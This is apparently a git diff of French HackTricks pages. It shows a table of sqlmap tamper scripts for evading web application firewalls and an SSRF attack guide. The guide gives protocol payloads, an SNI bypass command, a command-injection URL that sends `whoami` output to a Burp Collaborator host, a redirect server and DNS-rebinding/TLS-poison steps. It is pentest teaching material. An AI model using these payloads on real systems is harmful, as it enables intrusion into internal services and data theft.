||||||
| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère espace valide aléatoire. Remplace ensuite le caractère = par l'opérateur LIKE |
|
| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
|
||||||
| chardoubleencode.py | Double l'encodage URL de tous les caractères dans un payload donné (ne traite pas ceux déjà encodés) |
|
| chardoubleencode.py | Double encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) |
|
||||||
| commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
||||||
| concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||||
| charencode.py | Encode en URL tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) |
|
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) |
|
||||||
| charunicodeencode.py | Encode en URL-unicode les caractères non encodés d'un payload donné (ne traite pas ceux déjà encodés). "%u0022" |
|
| charunicodeencode.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "%u0022" |
|
||||||
| charunicodeescape.py | Échappe en URL-unicode les caractères non encodés d'un payload donné (ne traite pas ceux déjà encodés). "\u0022" |
|
| charunicodeescape.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "\u0022" |
|
||||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||||
| escapequotes.py | Échappe les guillemets (' et ") |
|
| escapequotes.py | Échappe les guillemets (' et ") |
|
||||||
| greatest.py | Remplace l'opérateur supérieur ('>') par son équivalent 'GREATEST' |
|
| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' |
|
||||||
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
||||||
| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
| ifnull2ifisnull.py | Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
|
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
|
||||||
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire versionné à zéro |
|
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à zéro version |
|
||||||
| multiplespaces.py | Ajoute de multiples espaces autour des mots-clés SQL |
|
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
|
||||||
| nonrecursivereplacement.py | Remplace des mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) |
|
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres |
|
||||||
| percentage.py | Ajoute un signe pourcentage ('%') devant chaque caractère |
|
| percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
|
||||||
| overlongutf8.py | Convertit tous les caractères d'un payload donné (ne traite pas ceux déjà encodés) |
|
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) |
|
||||||
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire |
|
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
|
||||||
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
||||||
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
||||||
| sp\_password.py | Ajoute 'sp\_password' à la fin du payload pour une obfuscation automatique des logs DBMS |
|
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du SGBD |
|
||||||
| space2comment.py | Remplace le caractère espace (' ') par des commentaires |
|
| space2comment.py | Remplace le caractère espace (' ') par des commentaires |
|
||||||
| space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
| space2dash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
|
||||||
| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
|
||||||
| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
|
||||||
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère espace aléatoire d'un ensemble valide de caractères alternatifs |
|
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs |
|
||||||
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
|
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') |
|
||||||
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère espace aléatoire d'un ensemble valide de caractères alternatifs |
|
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs |
|
||||||
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') |
|
||||||
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
||||||
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère espace aléatoire d'un ensemble valide de caractères alternatifs |
|
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs |
|
||||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
|
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et |
|
||||||
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
||||||
| unmagicquotes.py | Remplace le caractère guillemet (') par une combinaison multi-octets %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
|
| unmagicquotes.py | Remplace le caractère de guillemet (') par un combo multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
|
||||||
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
|
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
|
||||||
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
||||||
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
|
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
|
||||||
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
|
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
|
||||||
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuration instantanément disponible pour l'évaluation de la vulnérabilité & le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils & fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection & d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells, et s'amuser.
|
**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -25,11 +25,11 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
La falsification de requête côté serveur (SSRF - Server-side Request Forgery) est une vulnérabilité où **l'application côté serveur est incitée par un attaquant à effectuer des requêtes HTTP vers un domaine arbitraire choisi par l'attaquant**.
|
Une vulnérabilité de **Server-side Request Forgery (SSRF)** se produit lorsqu'un attaquant manipule une **application côté serveur** pour effectuer des **requêtes HTTP** vers un domaine de son choix. Cette vulnérabilité expose le serveur à des requêtes externes arbitraires dirigées par l'attaquant.
|
||||||
|
|
||||||
## Capture de SSRF
|
## Capture SSRF
|
||||||
|
|
||||||
La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
|
La première chose à faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
|
||||||
|
|
||||||
* **Burp Collaborator**
|
* **Burp Collaborator**
|
||||||
* [**pingb**](http://pingb.in)
|
* [**pingb**](http://pingb.in)
|
||||||
|
@ -41,9 +41,9 @@ La première chose à faire est de capturer une interaction SSRF provoquée par
|
||||||
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
||||||
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator utilisant ngrok
|
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Un Burp Collaborator utilisant ngrok
|
||||||
|
|
||||||
## Contournement des domaines autorisés
|
## Contourner les domaines autorisés
|
||||||
|
|
||||||
Généralement, vous constaterez que le SSRF ne fonctionne que dans **certains domaines ou URL autorisés**. Sur la page suivante, vous trouverez une **compilation de techniques pour essayer de contourner cette liste blanche** :
|
Généralement, vous constaterez que le SSRF ne fonctionne que dans des **domaines ou URL spécifiques autorisés**. Sur la page suivante, vous trouverez une **compilation de techniques pour essayer de contourner cette liste blanche** :
|
||||||
|
|
||||||
{% content-ref url="url-format-bypass.md" %}
|
{% content-ref url="url-format-bypass.md" %}
|
||||||
[url-format-bypass.md](url-format-bypass.md)
|
[url-format-bypass.md](url-format-bypass.md)
|
||||||
|
@ -51,7 +51,7 @@ Généralement, vous constaterez que le SSRF ne fonctionne que dans **certains d
|
||||||
|
|
||||||
### Contournement via redirection ouverte
|
### Contournement via redirection ouverte
|
||||||
|
|
||||||
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Parce que la page web permet **le SSRF vers le même domaine** et suivra probablement les redirections, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\
|
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web**. Comme la page web autorisera le **SSRF vers le même domaine** et suivra probablement les redirections, vous pouvez exploiter la **redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne**.\
|
||||||
En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||||
|
|
||||||
## Protocoles
|
## Protocoles
|
||||||
|
@ -66,7 +66,7 @@ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswi
|
||||||
- Identifié comme un protocole de transfert de fichiers sécurisé via shell sécurisé, un exemple est fourni montrant comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant : `url=sftp://generic.com:11111/`
|
- Identifié comme un protocole de transfert de fichiers sécurisé via shell sécurisé, un exemple est fourni montrant comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant : `url=sftp://generic.com:11111/`
|
||||||
|
|
||||||
- **TFTP://**
|
- **TFTP://**
|
||||||
- Le protocole de transfert de fichiers trivial, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est faite à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
- Le protocole Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||||
|
|
||||||
- **LDAP://**
|
- **LDAP://**
|
||||||
- Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
- Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||||
|
@ -74,7 +74,7 @@ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswi
|
||||||
- **SMTP**
|
- **SMTP**
|
||||||
- Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris des étapes pour révéler les noms de domaine internes et des actions d'investigation supplémentaires basées sur ces informations.
|
- Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris des étapes pour révéler les noms de domaine internes et des actions d'investigation supplémentaires basées sur ces informations.
|
||||||
```
|
```
|
||||||
https://twitter.com/har1sec/status/1182255952055164929
|
From https://twitter.com/har1sec/status/1182255952055164929
|
||||||
1. connect with SSRF on smtp localhost:25
|
1. connect with SSRF on smtp localhost:25
|
||||||
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
||||||
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
||||||
|
@ -126,15 +126,14 @@ https://example.com/?q=http://evil.com/redirect.php.
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
|
||||||
## SSRF via en-tête Referrer
|
## SSRF via en-tête Referrer & Autres
|
||||||
|
|
||||||
Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ce logiciel enregistre souvent l'en-tête Referrer dans les requêtes, car il est particulièrement intéressant pour suivre les liens entrants. Souvent, le logiciel d'analyse visitera en fait n'importe quelle URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancrage utilisé dans les liens entrants. Par conséquent, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.\
|
Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter des URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "**Collaborator Everywhere**" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles.
|
||||||
Pour découvrir ce type de vulnérabilités "cachées", vous pourriez utiliser le plugin "**Collaborator Everywhere**" de Burp.
|
|
||||||
|
|
||||||
## SSRF via les données SNI du certificat
|
## SSRF via les données SNI du certificat
|
||||||
|
|
||||||
La configuration incorrecte la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci:
|
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend via une configuration simple est illustrée avec un exemple de configuration Nginx :
|
||||||
```nginx
|
```
|
||||||
stream {
|
stream {
|
||||||
server {
|
server {
|
||||||
listen 443;
|
listen 443;
|
||||||
|
@ -144,17 +143,15 @@ ssl_preread on;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.
|
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité à la falsification de requête côté serveur (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que `internal.host.com`, en utilisant la commande `openssl`, est donné ci-dessous:
|
||||||
|
|
||||||
Avec cette configuration non sécurisée, nous pouvons **exploiter la vulnérabilité SSRF simplement en spécifiant l'IP ou le nom de domaine souhaité dans le champ SNI**. Par exemple, la commande suivante forcerait Nginx à se connecter à _internal.host.com_:
|
|
||||||
```bash
|
```bash
|
||||||
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
|
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||||
```
|
```
|
||||||
## [Téléchargement de fichier Wget](../file-upload/#wget-file-upload-ssrf-trick)
|
## [Téléchargement de fichier Wget](../file-upload/#wget-file-upload-ssrf-trick)
|
||||||
|
|
||||||
## SSRF avec Injection de Commande
|
## SSRF avec Injection de Commande
|
||||||
|
|
||||||
Il pourrait être intéressant d'essayer une charge utile comme : `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
Il pourrait être intéressant d'essayer une charge utile comme: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||||
|
|
||||||
## Rendu de PDF
|
## Rendu de PDF
|
||||||
|
|
||||||
|
@ -172,7 +169,7 @@ Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exp
|
||||||
|
|
||||||
## SSRF Rediriger vers Gopher
|
## SSRF Rediriger vers Gopher
|
||||||
|
|
||||||
Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection :
|
Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection:
|
||||||
```python
|
```python
|
||||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||||
|
@ -212,7 +209,7 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
## Contournement CORS/SOP avec DNS Rebidding
|
## Contournement CORS/SOP avec DNS Rebidding
|
||||||
|
|
||||||
Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation :
|
Si vous avez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation :
|
||||||
|
|
||||||
{% content-ref url="../cors-bypass.md" %}
|
{% content-ref url="../cors-bypass.md" %}
|
||||||
[cors-bypass.md](../cors-bypass.md)
|
[cors-bypass.md](../cors-bypass.md)
|
||||||
|
@ -222,7 +219,7 @@ Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP
|
||||||
|
|
||||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il inclut les composants nécessaires pour réattribuer l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il inclut les composants nécessaires pour réattribuer l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
||||||
|
|
||||||
Consultez également le **serveur en cours d'exécution publiquement sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\*
|
Consultez également le **serveur en cours d'exécution publiquement sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||||
|
|
||||||
## DNS Rebidding + ID de Session TLS/Ticket de Session
|
## DNS Rebidding + ID de Session TLS/Ticket de Session
|
||||||
|
|
||||||
|
@ -237,9 +234,9 @@ Attaque :
|
||||||
1. Demandez à l'utilisateur/robot d'accéder à un **domaine** contrôlé par l'**attaquant**
|
1. Demandez à l'utilisateur/robot d'accéder à un **domaine** contrôlé par l'**attaquant**
|
||||||
2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera bientôt l'IP du domaine à nouveau)
|
2. Le **TTL** du **DNS** est de **0** sec (donc la victime vérifiera bientôt l'IP du domaine à nouveau)
|
||||||
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de Session ou du Ticket de Session**.
|
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de Session ou du Ticket de Session**.
|
||||||
4. Le **domaine** démarrera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
|
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
|
||||||
5. Dans la requête DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1 par exemple)
|
5. Dans la requête DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1 par exemple)
|
||||||
6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **Session**/Ticket ID (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même.
|
6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **Session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même.
|
||||||
|
|
||||||
Notez que lors de cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
|
Notez que lors de cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
|
||||||
Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||||
|
@ -296,7 +293,7 @@ _remote-method-guesser_ est un scanner de vulnérabilité _Java RMI_ qui prend e
|
||||||
|
|
||||||
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||||||
|
|
||||||
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client à travers des serveurs HTTP vulnérables aux requêtes forgées côté serveur (SSRF).
|
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables aux requêtes forgées côté serveur (SSRF).
|
||||||
|
|
||||||
### Pour s'entraîner
|
### Pour s'entraîner
|
||||||
|
|
||||||
|
@ -316,8 +313,8 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
